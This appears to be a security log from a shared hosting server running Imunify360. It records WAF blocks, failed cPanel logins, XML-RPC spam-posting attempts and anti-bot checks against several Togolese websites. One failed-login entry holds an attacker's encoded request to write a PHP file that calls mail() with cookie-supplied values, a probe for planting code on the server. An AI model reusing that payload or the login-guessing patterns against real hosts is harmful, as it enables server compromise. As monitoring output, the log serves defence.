IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-15-at-06.44.15-rm173ur87z6tkqfgmq7l7g7f27gicq7ep8ayb6ijj8.webp 1200w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-15-at-06.44.15-rm173ur87z6tkqfgmq7l7g7f27gicq7ep8ayb6ijj8-300x163.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-15-at-06.44.15-rm173ur87z6tkqfgmq7l7g7f27gicq7ep8ayb6ijj8-1024x555.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-15-at-06.44.15-rm173ur87z6tkqfgmq7l7g7f27gicq7ep8ayb6ijj8-768x416.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.188.82.235
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/10/de674bf08531db4d17221d4394f380b0_L.webp 600w, http:/togodailynews.tg/wp-content/uploads/2025/10/de674bf08531db4d17221d4394f380b0_L-300x200.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4d92a521a40ed17ae3f3b59a184ff25ee19e5005||Title:dks3ddfavi6e1447vb||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.18.37
country_id: 6251999
description:
[2026-06-20 19:20:47 +0000] info [whostmgrd] 195.63.18.37 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 4.249.36.164
country_id: 6252001
description:
[2026-06-20 19:21:15 +0000] info [cpaneld] 4.249.36.164 - Link "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Link (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.250.150.99
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/5b6e54 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:55b0da407e8d1caf1495c45899c0d1f88a9fd733||Title:3jo9rf5a9gc24bsd||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 187.183.58.130
country_id: 3469034
description:
187.183.58.130 - - [20/Jun/2026:19:22:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854341&pdata=https%253A%252F%252Fcpanel.centif.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781983338 HTTP/2.0" 302 0 cpanel.centif.tg "https://cpanel.centif.tg/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:187.183.58.130


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:80a9aaebabd6a4204777e0596a7866bd3eb7c9e9||Title:5r4vcw5ti4ldhds8e||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.120.114.74
country_id: 2287781
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/07/telechargement-2.jpg 466w, http:/togodailynews.tg/wp-content/uploads/2023/07/telechargement-2-300x225.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6b21ce63831ac60beb9f26aed0044969ba0f0c9f||Title:5752zjmzo5nmls||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.88.76.9
country_id: 298795
description:
176.88.76.9 - - [20/Jun/2026:19:23:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132378&pdata=https%253A%252F%252F24heureinfo.tg%252Fa-la-une%252Fun-infirmier-retraite-arrete-a-lome-pour-exercice-illegal-de-la-medecine%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781983412 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/a-la-une/un-infirmier-retraite-arrete-a-lome-pour-exercice-illegal-de-la-medecine/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.88.76.9


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:47cbb7f0edbd7fc96deec1f442b525c79b9002d4||Title:zy1tle5ts6zhu9||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.93.73
country_id: 2635167
description:
[2026-06-20 19:25:23 +0000] info [cpaneld] 217.181.93.73 - pkyvzjjc "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-20 19:24:39 +0000] info [cpaneld] 103.253.27.219 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:27:59 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:27:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:19:29:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923182&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781983762 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:19:29:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104413&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781983762 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:19:30:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065564&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781983799 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:29:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051624&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781983764 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.46.160.215
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/728360271 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.215.33.12
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/11/Economie-les-conseils-du-chef-de-lEtat-au-nouveau-Gouverneur-de-la-BCEAO.jpg 1073w, http:/togodailynews.tg/wp-content/uploads/2022/11/Economie-les-conseils-du-chef-de-lEtat-au-nouveau-Gouverneur-de-la-BCEAO-300x172.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/11/Economie-les-conseils-du-chef-de-lEtat-au-nouveau-Gouverneur-de-la-BCEAO-768x439.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2022/11/Economie-les-conseils-du-chef-de-lEtat-au-nouveau-Gouverneur-de-la-BCEAO-1024x586.jpg 1024w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 206.232.3.61
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-35.206.232.3.61||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.233.203.60
country_id: 2750405
description:
Jun 20 19:36:28 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.233.203.60 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 158.101.5.109
country_id: 6252001
description:
[2026-06-20 19:41:28 +0000] info [cpaneld] 158.101.5.109 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:41:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:41:41 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:46:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775702&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781984767 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:19:46:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591343&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781984785 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:19:46:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6516632&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781984764 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:19:46:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7300504&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781984800 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.97.79.24
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/01/Page-3.jpg 766w, http:/togodailynews.tg/wp-content/uploads/2023/01/Page-3-300x181.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:46:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13210516&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781984788 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-47.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:55:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:55:38 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.154.147.55
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/11/WhatsApp-Image-2024-11-26-at-20.59.47.jpeg 1280w, http:/togodailynews.tg/wp-content/uploads/2024/11/WhatsApp-Image-2024-11-26-at-20.59.47-300x220.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/11/WhatsApp-Image-2024-11-26-at-20.59.47-1024x750.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/11/WhatsApp-Image-2024-11-26-at-20.59.47-768x563.jpeg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.99.159.216
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/11/Travail-enfants.jpg 927w, http:/togodailynews.tg/wp-content/uploads/2024/11/Travail-enfants-300x174.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/11/Travail-enfants-768x447.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:19:58:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6787946&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781985538 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-06-20 19:59:19 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:42083: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:59:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184387&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781985538 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 154.6.81.46
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-59.154.6.81.46||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:20:00:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078870&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781985615 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:20:00:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6906474&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781985617 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.253.75.209
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-59.104.253.75.209||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:20:00:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935213&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781985616 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.108.22.188
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1601793405 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 20 20:04:45 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.86.200
country_id: 2921044
description:
[2026-06-20 20:05:49 +0000] info [cpaneld] 217.181.86.200 - dany2 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dany2 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.88.117
country_id: 2750405
description:
[2026-06-20 20:05:50 +0000] info [cpaneld] 217.181.88.117 - dany2mai "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dany2mai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.94.248
country_id: 2635167
description:
[2026-06-20 20:05:51 +0000] info [cpaneld] 217.181.94.248 - dany2mairietg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dany2mairietg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 20 20:05:30 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.134.216.59
country_id: 1282988
description:
103.134.216.59 - - [20/Jun/2026:20:07:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10013588&pdata=https%253A%252F%252Ftogodailynews.tg%252Fzlecaf-le-togo-evalue-ses-acquis-et-ses-defis%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781986032 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/zlecaf-le-togo-evalue-ses-acquis-et-ses-defis/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.134.216.59


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
